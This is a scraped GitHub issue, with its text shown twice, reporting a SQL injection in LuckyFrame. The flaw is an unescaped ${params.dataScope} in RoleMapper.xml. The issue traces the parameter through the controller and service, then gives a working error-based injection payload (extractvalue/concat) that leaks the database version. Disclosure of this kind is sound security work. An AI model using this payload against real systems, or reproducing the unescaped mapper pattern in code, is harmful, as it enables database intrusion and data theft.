We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
src/main/resources/mybatis/system/RoleMapper.xml
There is a ${} in this mapper
<if test="deptId != null and deptId != 0"> AND (u.dept_id = #{deptId} OR u.dept_id IN ( SELECT t.dept_id FROM sys_dept t WHERE FIND_IN_SET (#{deptId},ancestors) )) </if> <!-- 数据范围过滤 --> ${params.dataScope} </select>
Search selectUserList to see where the this select id is used:
selectUserList
select id
Query user information: src/main/java/com/luckyframe/project/system/role/controller/RoleController.java
Follow up the selectUserList method to see the specific implementation:
src/main/java/com/luckyframe/project/system/role/service/RoleServiceImpl.java
The parameters in the User are passed into the mapper for SQL operation. Because the datascope is controllable, the vulnerability is generated
Verification:
Splice URL and parameters according to code:
params[dataScope]=
Use error injection to query the database version:
params[dataScope]=and+extractvalue(1,concat(0x7e,substring((select+version()),1,32),0x7e))
Select database name:
The text was updated successfully, but these errors were encountered:
No branches or pull requests
src/main/resources/mybatis/system/RoleMapper.xml
There is a ${} in this mapper
Search
selectUserList
to see where the thisselect id
is used:Query user information:
src/main/java/com/luckyframe/project/system/role/controller/RoleController.java
Follow up the selectUserList method to see the specific implementation:
src/main/java/com/luckyframe/project/system/role/service/RoleServiceImpl.java
The parameters in the User are passed into the mapper for SQL operation. Because the datascope is controllable, the vulnerability is generated
Verification:
Splice URL and parameters according to code:
Use error injection to query the database version:
params[dataScope]=and+extractvalue(1,concat(0x7e,substring((select+version()),1,32),0x7e))
Select database name:
The text was updated successfully, but these errors were encountered: